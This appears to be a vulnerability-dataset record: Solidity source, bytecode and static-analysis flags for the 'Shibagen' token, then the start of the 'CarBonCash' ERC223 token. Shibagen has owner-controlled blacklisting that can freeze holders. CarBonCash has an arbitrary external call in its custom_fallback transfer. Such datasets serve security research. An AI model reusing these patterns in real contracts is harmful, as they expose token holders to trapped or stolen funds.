uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner() {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner() {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
}
contract Shibagen is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isBot;
uint256 private constant _MAX = ~uint256(0);
uint256 private constant _tTotal = 1e9 * 10**9;
uint256 private _rTotal = (_MAX - (_MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = unicode"Shibagen";
string private constant _symbol = unicode"Shibagen";
uint private constant _decimals = 9;
uint256 private _teamFee = 10;
uint256 private _previousteamFee = _teamFee;
address payable private _feeAddress;
IUniswapV2Router02 private _uniswapV2Router;
address private _uniswapV2Pair;
bool private _initialized = false;
bool private _noTaxMode = false;
bool private _inSwap = false;
bool private _tradingOpen = false;
uint256 private _launchTime;
uint256 private _initialLimitDuration;
modifier lockTheSwap() {
_inSwap = true;
_;
_inSwap = false;
}
modifier handleFees(bool takeFee) {
if (!takeFee) _removeAllFees();
_;
if (!takeFee) _restoreAllFees();
}
constructor () {
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[payable(0x000000000000000000000000000000000000dEaD)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _removeAllFees() private {
require(_teamFee > 0);
_previousteamFee = _teamFee;
_teamFee = 0;
}
function _restoreAllFees() private {
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0);
require(!_isBot[from]);
bool takeFee = false;
if (
!_isExcludedFromFee[from]
&& !_isExcludedFromFee[to]
&& !_noTaxMode
&& (from == _uniswapV2Pair || to == _uniswapV2Pair)
) {
require(_tradingOpen, 'Trading has not yet been opened.');
takeFee = true;
if (from == _uniswapV2Pair && to != address(_uniswapV2Router) && _initialLimitDuration > block.timestamp) {
uint walletBalance = balanceOf(address(to));
require(amount.add(walletBalance) <= _tTotal.mul(2).div(100));
}
if (block.timestamp == _launchTime) _isBot[to] = true;
uint256 contractTokenBalance = balanceOf(address(this));
if (!_inSwap && from != _uniswapV2Pair) {
if (contractTokenBalance > 0) {
if (contractTokenBalance > balanceOf(_uniswapV2Pair).mul(15).div(100))
contractTokenBalance = balanceOf(_uniswapV2Pair).mul(10).div(100);
_swapTokensForEth(contractTokenBalance);
}
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function _swapTokensForEth(uint256 tokenAmount) private lockTheSwap() {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswapV2Router.WETH();
_approve(address(this), address(_uniswapV2Router), tokenAmount);
_uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee) private handleFees(takeFee) {
(uint256 rAmount, uint256 rTransferAmount, uint256 tTransferAmount, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
emit Transfer(sender, recipient, tTransferAmount);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tTeam) = _getTValues(tAmount, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount) = _getRValues(tAmount, tTeam, currentRate);
return (rAmount, rTransferAmount, tTransferAmount, tTeam);
}
function _getTValues(uint256 tAmount, uint256 TeamFee) private pure returns (uint256, uint256) {
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tTeam);
return (tTransferAmount, tTeam);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getRValues(uint256 tAmount, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rTeam);
return (rAmount, rTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function initContract(address payable feeAddress) external onlyOwner() {
require(!_initialized,"Contract has already been initialized");
IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
_uniswapV2Router = uniswapV2Router;
_feeAddress = feeAddress;
_isExcludedFromFee[_feeAddress] = true;
_initialized = true;
}
function openTrading() external onlyOwner() {
require(_initialized);
_tradingOpen = true;
_launchTime = block.timestamp;
_initialLimitDuration = _launchTime + (5 minutes);
}
function setFeeWallet(address payable feeWalletAddress) external onlyOwner() {
_isExcludedFromFee[_feeAddress] = false;
_feeAddress = feeWalletAddress;
_isExcludedFromFee[_feeAddress] = true;
}
function excludeFromFee(address payable ad) external onlyOwner() {
_isExcludedFromFee[ad] = true;
}
function includeToFee(address payable ad) external onlyOwner() {
_isExcludedFromFee[ad] = false;
}
function setTeamFee(uint256 fee) external onlyOwner() {
require(fee < 11);
_teamFee = fee;
}
function setBots(address[] memory bots_) public onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
if (bots_[i] != _uniswapV2Pair && bots_[i] != address(_uniswapV2Router)) {
_isBot[bots_[i]] = true;
}
}
}
function delBots(address[] memory bots_) public onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
_isBot[bots_[i]] = false;
}
}
function isBot(address ad) public view returns (bool) {
return _isBot[ad];
}
function isExcludedFromFee(address ad) public view returns (bool) {
return _isExcludedFromFee[ad];
}
function swapFeesManual() external onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
_swapTokensForEth(contractBalance);
}
function withdrawFees() external {
uint256 contractETHBalance = address(this).balance;
_feeAddress.transfer(contractETHBalance);
}
receive() external payable {}
}
|
0x60806040526004361061014f5760003560e01c8063715018a6116100b6578063c9567bf91161006f578063c9567bf9146103bf578063cf0848f7146103d4578063cf9d4afa146103f4578063dd62ed3e14610414578063e6ec64ec1461045a578063f2fde38b1461047a57600080fd5b8063715018a6146103225780638da5cb5b1461033757806390d49b9d1461035f57806395d89b4114610172578063a9059cbb1461037f578063b515566a1461039f57600080fd5b806331c2d8471161010857806331c2d8471461023b5780633bbac5791461025b578063437823ec14610294578063476343ee146102b45780635342acb4146102c957806370a082311461030257600080fd5b806306d8ea6b1461015b57806306fdde0314610172578063095ea7b3146101b257806318160ddd146101e257806323b872dd14610207578063313ce5671461022757600080fd5b3661015657005b600080fd5b34801561016757600080fd5b5061017061049a565b005b34801561017e57600080fd5b50604080518082018252600881526729b434b130b3b2b760c11b602082015290516101a99190611759565b60405180910390f35b3480156101be57600080fd5b506101d26101cd3660046117d3565b6104e6565b60405190151581526020016101a9565b3480156101ee57600080fd5b50670de0b6b3a76400005b6040519081526020016101a9565b34801561021357600080fd5b506101d26102223660046117ff565b6104fd565b34801561023357600080fd5b5060096101f9565b34801561024757600080fd5b50610170610256366004611856565b610566565b34801561026757600080fd5b506101d261027636600461191b565b6001600160a01b031660009081526005602052604090205460ff1690565b3480156102a057600080fd5b506101706102af36600461191b565b6105fc565b3480156102c057600080fd5b5061017061064a565b3480156102d557600080fd5b506101d26102e436600461191b565b6001600160a01b031660009081526004602052604090205460ff1690565b34801561030e57600080fd5b506101f961031d36600461191b565b610684565b34801561032e57600080fd5b506101706106a6565b34801561034357600080fd5b506000546040516001600160a01b0390911681526020016101a9565b34801561036b57600080fd5b5061017061037a36600461191b565b6106dc565b34801561038b57600080fd5b506101d261039a3660046117d3565b610756565b3480156103ab57600080fd5b506101706103ba366004611856565b610763565b3480156103cb57600080fd5b5061017061087c565b3480156103e057600080fd5b506101706103ef36600461191b565b6108e6565b34801561040057600080fd5b5061017061040f36600461191b565b610931565b34801561042057600080fd5b506101f961042f366004611938565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561046657600080fd5b50610170610475366004611971565b610b8c565b34801561048657600080fd5b5061017061049536600461191b565b610bc8565b6000546001600160a01b031633146104cd5760405162461bcd60e51b81526004016104c49061198a565b60405180910390fd5b60006104d830610684565b90506104e381610c60565b50565b60006104f3338484610dda565b5060015b92915050565b600061050a848484610efe565b61055c843361055785604051806060016040528060288152602001611b05602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190611242565b610dda565b5060019392505050565b6000546001600160a01b031633146105905760405162461bcd60e51b81526004016104c49061198a565b60005b81518110156105f8576000600560008484815181106105b4576105b46119bf565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806105f0816119eb565b915050610593565b5050565b6000546001600160a01b031633146106265760405162461bcd60e51b81526004016104c49061198a565b6001600160a01b03166000908152600460205260409020805460ff19166001179055565b600a5460405147916001600160a01b03169082156108fc029083906000818181858888f193505050501580156105f8573d6000803e3d6000fd5b6001600160a01b0381166000908152600160205260408120546104f79061127c565b6000546001600160a01b031633146106d05760405162461bcd60e51b81526004016104c49061198a565b6106da6000611300565b565b6000546001600160a01b031633146107065760405162461bcd60e51b81526004016104c49061198a565b600a80546001600160a01b03908116600090815260046020526040808220805460ff1990811690915584546001600160a01b03191695909316948517909355928352912080549091166001179055565b60006104f3338484610efe565b6000546001600160a01b0316331461078d5760405162461bcd60e51b81526004016104c49061198a565b60005b81518110156105f857600c5482516001600160a01b03909116908390839081106107bc576107bc6119bf565b60200260200101516001600160a01b03161415801561080d5750600b5482516001600160a01b03909116908390839081106107f9576107f96119bf565b60200260200101516001600160a01b031614155b1561086a5760016005600084848151811061082a5761082a6119bf565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b80610874816119eb565b915050610790565b6000546001600160a01b031633146108a65760405162461bcd60e51b81526004016104c49061198a565b600c54600160a01b900460ff166108bc57600080fd5b600c805460ff60b81b1916600160b81b17905542600d8190556108e19061012c611a06565b600e55565b6000546001600160a01b031633146109105760405162461bcd60e51b81526004016104c49061198a565b6001600160a01b03166000908152600460205260409020805460ff19169055565b6000546001600160a01b0316331461095b5760405162461bcd60e51b81526004016104c49061198a565b600c54600160a01b900460ff16156109c35760405162461bcd60e51b815260206004820152602560248201527f436f6e74726163742068617320616c7265616479206265656e20696e697469616044820152641b1a5e995960da1b60648201526084016104c4565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a1a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a3e9190611a1e565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a8b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610aaf9190611a1e565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610afc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b209190611a1e565b600c80546001600160a01b039283166001600160a01b0319918216178255600b805494841694821694909417909355600a8054949092169390921683179055600091825260046020526040909120805460ff19166001179055805460ff60a01b1916600160a01b179055565b6000546001600160a01b03163314610bb65760405162461bcd60e51b81526004016104c49061198a565b600b8110610bc357600080fd5b600855565b6000546001600160a01b03163314610bf25760405162461bcd60e51b81526004016104c49061198a565b6001600160a01b038116610c575760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016104c4565b6104e381611300565b600c805460ff60b01b1916600160b01b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610ca857610ca86119bf565b6001600160a01b03928316602091820292909201810191909152600b54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610d01573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d259190611a1e565b81600181518110610d3857610d386119bf565b6001600160a01b039283166020918202929092010152600b54610d5e9130911684610dda565b600b5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610d97908590600090869030904290600401611a3b565b600060405180830381600087803b158015610db157600080fd5b505af1158015610dc5573d6000803e3d6000fd5b5050600c805460ff60b01b1916905550505050565b6001600160a01b038316610e3c5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104c4565b6001600160a01b038216610e9d5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104c4565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610f625760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104c4565b6001600160a01b038216610fc45760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104c4565b60008111610fd157600080fd5b6001600160a01b03831660009081526005602052604090205460ff1615610ff757600080fd5b6001600160a01b03831660009081526004602052604081205460ff1615801561103957506001600160a01b03831660009081526004602052604090205460ff16155b801561104f5750600c54600160a81b900460ff16155b801561107f5750600c546001600160a01b038581169116148061107f5750600c546001600160a01b038481169116145b1561123057600c54600160b81b900460ff166110dd5760405162461bcd60e51b815260206004820181905260248201527f54726164696e6720686173206e6f7420796574206265656e206f70656e65642e60448201526064016104c4565b50600c546001906001600160a01b03858116911614801561110c5750600b546001600160a01b03848116911614155b8015611119575042600e54115b1561116057600061112984610684565b90506111496064611143670de0b6b3a76400006002611350565b906113cf565b6111538483611411565b111561115e57600080fd5b505b600d5442141561118e576001600160a01b0383166000908152600560205260409020805460ff191660011790555b600061119930610684565b600c54909150600160b01b900460ff161580156111c45750600c546001600160a01b03868116911614155b1561122e57801561122e57600c546111f89060649061114390600f906111f2906001600160a01b0316610684565b90611350565b81111561122557600c546112229060649061114390600a906111f2906001600160a01b0316610684565b90505b61122e81610c60565b505b61123c84848484611470565b50505050565b600081848411156112665760405162461bcd60e51b81526004016104c49190611759565b5060006112738486611aac565b95945050505050565b60006006548211156112e35760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016104c4565b60006112ed611573565b90506112f983826113cf565b9392505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b60008261135f575060006104f7565b600061136b8385611ac3565b9050826113788583611ae2565b146112f95760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104c4565b60006112f983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611596565b60008061141e8385611a06565b9050838110156112f95760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104c4565b808061147e5761147e6115c4565b60008060008061148d876115e0565b6001600160a01b038d16600090815260016020526040902054939750919550935091506114ba9085611627565b6001600160a01b03808b1660009081526001602052604080822093909355908a16815220546114e99084611411565b6001600160a01b03891660009081526001602052604090205561150b81611669565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161155091815260200190565b60405180910390a3505050508061156c5761156c600954600855565b5050505050565b60008060006115806116b3565b909250905061158f82826113cf565b9250505090565b600081836115b75760405162461bcd60e51b81526004016104c49190611759565b5060006112738486611ae2565b6000600854116115d357600080fd5b6008805460095560009055565b6000806000806000806115f5876008546116f3565b915091506000611603611573565b90506000806116138a8585611720565b909b909a5094985092965092945050505050565b60006112f983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611242565b6000611673611573565b905060006116818383611350565b3060009081526001602052604090205490915061169e9082611411565b30600090815260016020526040902055505050565b6006546000908190670de0b6b3a76400006116ce82826113cf565b8210156116ea57505060065492670de0b6b3a764000092509050565b90939092509050565b6000808061170660646111438787611350565b905060006117148683611627565b96919550909350505050565b6000808061172e8685611350565b9050600061173c8686611350565b9050600061174a8383611627565b92989297509195505050505050565b600060208083528351808285015260005b818110156117865785810183015185820160400152820161176a565b81811115611798576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146104e357600080fd5b80356117ce816117ae565b919050565b600080604083850312156117e657600080fd5b82356117f1816117ae565b946020939093013593505050565b60008060006060848603121561181457600080fd5b833561181f816117ae565b9250602084013561182f816117ae565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561186957600080fd5b823567ffffffffffffffff8082111561188157600080fd5b818501915085601f83011261189557600080fd5b8135818111156118a7576118a7611840565b8060051b604051601f19603f830116810181811085821117156118cc576118cc611840565b6040529182528482019250838101850191888311156118ea57600080fd5b938501935b8285101561190f57611900856117c3565b845293850193928501926118ef565b98975050505050505050565b60006020828403121561192d57600080fd5b81356112f9816117ae565b6000806040838503121561194b57600080fd5b8235611956816117ae565b91506020830135611966816117ae565b809150509250929050565b60006020828403121561198357600080fd5b5035919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b60006000198214156119ff576119ff6119d5565b5060010190565b60008219821115611a1957611a196119d5565b500190565b600060208284031215611a3057600080fd5b81516112f9816117ae565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611a8b5784516001600160a01b031683529383019391830191600101611a66565b50506001600160a01b03969096166060850152505050608001529392505050565b600082821015611abe57611abe6119d5565b500390565b6000816000190483118215151615611add57611add6119d5565b500290565b600082611aff57634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212200f82e330db196ad1e9aea8219519c426b8b0293b3879b4ac3199af9c82df253764736f6c634300080c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 4,411 |
0xf003e8c65a28a445e0318e83416567336fb1c667
|
pragma solidity ^0.4.20;
/**
* @title ContractReceiver
* @dev Receiver for ERC223 tokens
*/
contract ContractReceiver {
struct TKN {
address sender;
uint value;
bytes data;
bytes4 sig;
}
function tokenFallback(address _from, uint _value, bytes _data) public pure {
TKN memory tkn;
tkn.sender = _from;
tkn.value = _value;
tkn.data = _data;
uint32 u = uint32(_data[3]) + (uint32(_data[2]) << 8) + (uint32(_data[1]) << 16) + (uint32(_data[0]) << 24);
tkn.sig = bytes4(u);
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
//constructor() public
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC223 {
uint public totalSupply;
function name() public view returns (string _name);
function symbol() public view returns (string _symbol);
function decimals() public view returns (uint8 _decimals);
function totalSupply() public view returns (uint256 _supply);
function balanceOf(address who) public view returns (uint);
function transfer(address to, uint value) public returns (bool ok);
function transfer(address to, uint value, bytes data) public returns (bool ok);
function transfer(address to, uint value, bytes data, string custom_fallback) public returns (bool ok);
event Transfer(address indexed from, address indexed to, uint value, bytes indexed data);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
}
contract CarBonCash is ERC223, Ownable {
using SafeMath for uint256;
string public name = "CarBon Cash";
string public symbol = "CBCx";
uint8 public decimals = 4;
uint256 public initialSupply = 210000000;
uint256 public totalSupply;
uint256 public distributeAmount = 0;
bool public mintingFinished = false;
mapping (address => uint) balances;
mapping (address => bool) public frozenAccount;
mapping (address => uint256) public unlockUnixTime;
event FrozenFunds(address indexed target, bool frozen);
event LockedFunds(address indexed target, uint256 locked);
event Burn(address indexed burner, uint256 value);
event Mint(address indexed to, uint256 amount);
event MintFinished();
function CarBonCash() public {
totalSupply = initialSupply;
balances[msg.sender] = totalSupply;
}
function name() public view returns (string _name) {
return name;
}
function symbol() public view returns (string _symbol) {
return symbol;
}
function decimals() public view returns (uint8 _decimals) {
return decimals;
}
function totalSupply() public view returns (uint256 _totalSupply) {
return totalSupply;
}
function balanceOf(address _owner) public view returns (uint balance) {
return balances[_owner];
}
modifier onlyPayloadSize(uint256 size){
assert(msg.data.length >= size + 4);
_;
}
// Function that is called when a user or another contract wants to transfer funds .
function transfer(address _to, uint _value, bytes _data, string _custom_fallback) public returns (bool success) {
require(_value > 0
&& frozenAccount[msg.sender] == false
&& frozenAccount[_to] == false
&& now > unlockUnixTime[msg.sender]
&& now > unlockUnixTime[_to]);
if(isContract(_to)) {
if (balanceOf(msg.sender) < _value) revert();
balances[msg.sender] = SafeMath.sub(balanceOf(msg.sender), _value);
balances[_to] = SafeMath.add(balanceOf(_to), _value);
assert(_to.call.value(0)(bytes4(keccak256(_custom_fallback)), msg.sender, _value, _data));
Transfer(msg.sender, _to, _value, _data);
Transfer(msg.sender, _to, _value);
return true;
}
else {
return transferToAddress(_to, _value, _data);
}
}
// Function that is called when a user or another contract wants to transfer funds .
function transfer(address _to, uint _value, bytes _data) public returns (bool success) {
require(_value > 0
&& frozenAccount[msg.sender] == false
&& frozenAccount[_to] == false
&& now > unlockUnixTime[msg.sender]
&& now > unlockUnixTime[_to]);
if(isContract(_to)) {
return transferToContract(_to, _value, _data);
}
else {
return transferToAddress(_to, _value, _data);
}
}
// Standard function transfer similar to ERC20 transfer with no _data .
// Added due to backwards compatibility reasons .
function transfer(address _to, uint _value) public returns (bool success) {
require(_value > 0
&& frozenAccount[msg.sender] == false
&& frozenAccount[_to] == false
&& now > unlockUnixTime[msg.sender]
&& now > unlockUnixTime[_to]);
//standard function transfer similar to ERC20 transfer with no _data
//added due to backwards compatibility reasons
bytes memory empty;
if(isContract(_to)) {
return transferToContract(_to, _value, empty);
}
else {
return transferToAddress(_to, _value, empty);
}
}
// assemble the given address bytecode. If bytecode exists then the _addr is a contract.
function isContract(address _addr) private view returns (bool is_contract) {
uint length;
assembly {
// retrieve the size of the code on target address, this needs assembly
length := extcodesize(_addr)
}
return (length>0);
}
// function that is called when transaction target is an address
function transferToAddress(address _to, uint _value, bytes _data) private returns (bool success) {
if (balanceOf(msg.sender) < _value) revert();
balances[msg.sender] = SafeMath.sub(balanceOf(msg.sender), _value);
balances[_to] = SafeMath.add(balanceOf(_to), _value);
Transfer(msg.sender, _to, _value, _data);
Transfer(msg.sender, _to, _value);
return true;
}
//function that is called when transaction target is a contract
function transferToContract(address _to, uint _value, bytes _data) private returns (bool success) {
if (balanceOf(msg.sender) < _value) revert();
balances[msg.sender] = SafeMath.sub(balanceOf(msg.sender), _value);
balances[_to] = SafeMath.add(balanceOf(_to), _value);
ContractReceiver receiver = ContractReceiver(_to);
receiver.tokenFallback(msg.sender, _value, _data);
Transfer(msg.sender, _to, _value, _data);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Prevent targets from sending or receiving tokens
* @param targets Addresses to be frozen
* @param isFrozen either to freeze it or not
*/
function freezeAccounts(address[] targets, bool isFrozen) onlyOwner public {
require(targets.length > 0);
for (uint i = 0; i < targets.length; i++) {
require(targets[i] != 0x0);
frozenAccount[targets[i]] = isFrozen;
FrozenFunds(targets[i], isFrozen);
}
}
/**
* @dev Prevent targets from sending or receiving tokens by setting Unix times
* @param targets Addresses to be locked funds
* @param unixTimes Unix times when locking up will be finished
*/
function lockupAccounts(address[] targets, uint[] unixTimes) onlyOwner public {
require(targets.length > 0
&& targets.length == unixTimes.length);
for(uint i = 0; i < targets.length; i++){
require(unlockUnixTime[targets[i]] < unixTimes[i]);
unlockUnixTime[targets[i]] = unixTimes[i];
LockedFunds(targets[i], unixTimes[i]);
}
}
/**
* @dev Burns a specific amount of tokens.
* @param _from The address that will burn the tokens.
* @param _unitAmount The amount of token to be burned.
*/
function burn(address _from, uint256 _unitAmount) onlyOwner public {
require(_unitAmount > 0
&& balanceOf(_from) >= _unitAmount);
balances[_from] = SafeMath.sub(balances[_from], _unitAmount);
totalSupply = SafeMath.sub(totalSupply, _unitAmount);
Burn(_from, _unitAmount);
}
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _unitAmount The amount of tokens to mint.
*/
function mint(address _to, uint256 _unitAmount) onlyOwner canMint public returns (bool) {
require(_unitAmount > 0);
totalSupply = SafeMath.add(totalSupply, _unitAmount);
balances[_to] = SafeMath.add(balances[_to], _unitAmount);
Mint(_to, _unitAmount);
Transfer(address(0), _to, _unitAmount);
return true;
}
/**
* @dev Function to stop minting new tokens.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
/**
* @dev Function to distribute tokens to the list of addresses by the provided amount
*/
function distributeTokens(address[] addresses, uint256 amount) public returns (bool) {
require(amount > 0
